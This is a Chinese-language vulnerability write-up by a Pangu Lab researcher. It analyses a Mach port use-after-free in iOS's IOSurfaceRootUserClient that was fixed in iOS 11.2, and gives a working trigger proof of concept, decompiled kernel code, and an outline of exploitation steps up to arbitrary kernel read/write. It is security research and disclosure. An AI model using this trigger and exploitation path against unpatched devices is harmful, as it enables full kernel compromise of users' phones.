作者：windknown@盤古實驗室

漏洞描述

蘋果前天發布了iOS 11.2版本（安全更新細節尚未公布），經測試發現此次更新修復了一個沙盒內可以直接利用的內核漏洞。我們團隊在去年發現該漏洞，并一直在內部的研究環境中使用該漏洞對手機進行越獄。漏洞存在于IOSurfaceRootUserClient類的調用方法中，可以導致port的UAF。首先我們給出該漏洞觸發的POC：

// open user client
CFMutableDictionaryRef matching = IOServiceMatching("IOSurfaceRoot");
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
io_connect_t connect = 0;
IOServiceOpen(service, mach_task_self(), 0, &connect);

// add notification port with same refcon multiple times
mach_port_t port = 0;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
uint64_t references;
uint64_t input[3] = {0};
input[1] = 1234;  // keep refcon the same value
for (int i=0; i<3; i++)
{
    IOConnectCallAsyncStructMethod(connect, 17, port, &references, 1, input, sizeof(input), NULL, NULL);
}
IOServiceClose(connect);

通過POC代碼可以看到漏洞存在于17號調用函數，定位后對其進行逆向分析。該函數會將傳入的port、callback、refcon等數據保存起來，以供需要向用戶態發送消息時使用。傳入的數據大小是0x18，前兩個64位數據分別是callback地址和refcon的值。值得注意的是在保存數據前會首先檢查相同的refcon是否已經存在，如果存在則認為已經添加過了，會調用releaseAsyncReference64函數釋放reference，從而調用iokit_release_port_send釋放我們傳入的port，并且返回0xE00002C9號錯誤。

  if ( !a3->asyncReference )
    return 0xE00002C2LL;
  input = (__int64)a3->structureInput;
  reference = (__int64)a3->asyncReference;
  v6 = *(_QWORD *)(a1 + 224);
  v7 = 0xE00002BDLL;
  IORecursiveLockLock_53(*(_QWORD *)(v6 + 264));
  v8 = *(_QWORD *)(v6 + 344);
  if ( v8 )
  {
    // 檢查相同refcon的數據是否已經存在
    while ( *(_QWORD *)(v8 + 32) != *(_QWORD *)(input + 8) || *(_QWORD *)(v8 + 88) != a1 )
    {
      v8 = *(_QWORD *)v8;
      if ( !v8 )
        goto LABEL_8;
    }
    IOUserClient::releaseAsyncReference64(reference);
    v7 = 0xE00002C9LL;
  }
  else
  {
    // 分配內存并通過setAsyncReference64初始化，保存port/callback/refcon
LABEL_8:
    v9 = IOMalloc_53(96LL);
    v10 = v9;
    if ( v9 )
    {
      v11 = v6 + 344;
      memset_53((void *)v9, 0, 0x60uLL);
      IOUserClient::setAsyncReference64(v10 + 16, *(_QWORD *)reference, *(_QWORD *)input, *(_QWORD *)(input + 8));
      *(_QWORD *)(v10 + 88) = a1;
      *(_QWORD *)(v10 + 80) = *(_QWORD *)(input + 16);
      v12 = *(_QWORD *)(v6 + 344);
      *(_QWORD *)v10 = *(_QWORD *)(v6 + 344);
      if ( v12 )
        *(_QWORD *)(v12 + 8) = v10;
      else
        *(_QWORD *)(v6 + 352) = v10;
      v7 = 0LL;
      *(_QWORD *)v11 = v10;
      *(_QWORD *)(v10 + 8) = v11;
    }
  }
  IORecursiveLockUnlock_53(*(_QWORD *)(v6 + 264));
  return v7;
}

如果只是單純分析該函數的行為，并不存在明顯的問題，因此需要結合整個代碼路徑來看。我們知道IOKit是MIG的子系統，因此用戶態最終封裝一個message后通過mach_msg發送給內核處理并接受返回消息。而通過mach_msg傳輸一個port，需要發送complex的消息，內核則在copyin消息的時候會把port name翻譯成對應的port地址，并增加一個引用。隨后把消息交給ipc_kobject_server處理，觀察ipc_kobject_server函數的分發處理：

  /*
   * Find the routine to call, and call it
   * to perform the kernel function
   */
  ipc_kmsg_trace_send(request, option);
  {
    ...

    // 調用真正的處理函數，返回結果設置在reply消息內
    (*ptr->routine)(request->ikm_header, reply->ikm_header);

    ...
  }

  // 如果返回的是簡單消息，kr被設置為處理函數的返回值
  if (!(reply->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) &&
     ((mig_reply_error_t *) reply->ikm_header)->RetCode != KERN_SUCCESS)
    kr = ((mig_reply_error_t *) reply->ikm_header)->RetCode;
  else
    kr = KERN_SUCCESS;

  if ((kr == KERN_SUCCESS) || (kr == MIG_NO_REPLY)) {
    /*
     *  The server function is responsible for the contents
     *  of the message.  The reply port right is moved
     *  to the reply message, and we have deallocated
     *  the destination port right, so we just need
     *  to free the kmsg.
     */
    // 如果返回成功則簡單釋放傳入消息的內存
    ipc_kmsg_free(request);

  } else {
    /*
     *  The message contents of the request are intact.
     *  Destroy everthing except the reply port right,
     *  which is needed in the reply message.
     */
    // 如果返回錯誤，則釋放傳入消息相關的數據（包含port）
    request->ikm_header->msgh_local_port = MACH_PORT_NULL;
    ipc_kmsg_destroy(request);
  }

可以看到如果UserClient的處理函數返回錯誤，那么上層會調用ipc_kmsg_destroy->ipc_kmsg_clean->ipc_kmsg_clean_body最終釋放傳入的port和ool內存。此時我們再看IOSurfaceRootUserClient的17號調用，當它返回錯誤的時候，認為應該由自己去釋放這個port而沒有考慮到上層的清理代碼，導致這個port會被額外釋放一次。

利用思路

這是一個典型的port UAF類型的漏洞。我們可以任意創建一個port，通過17號調用釋放該port，同時保留用戶態的port name指向已經被釋放的port地址。典型的利用思路是通過cross zone attack來填充一個虛假的port：

  • 用ool ports來填充，我們可以讀取一個port的的真實地址，導致堆地址泄露
  • 用clock port來填充，可以猜測內核的基地址
  • 用task port來填充，可以實現任意內核讀取
  • 用真實的kernel task port來填充，可以直接獲取內核port，實現任意內核讀寫

Mitigations

  • iOS 10.3以后增加了對kernel task port的保護，不過該保護僅僅比較port指向的task是否等于kernel_task，并未對立面的內容進行校驗
  • iOS 11以后移除了mach_zone_force_gc的接口來阻止cross zone attack，需要有別的途徑能夠觸發gc

Fix

iOS 11.2中檢測到要注冊的refcon已經存在后也不會調用releaseAsyncReference64去釋放port了。

最后想說*****這次又是被誰撞了 TT

Paper 本文由 Seebug Paper 發布，如需轉載請注明來源。本文地址：http://www.bjnorthway.com/472/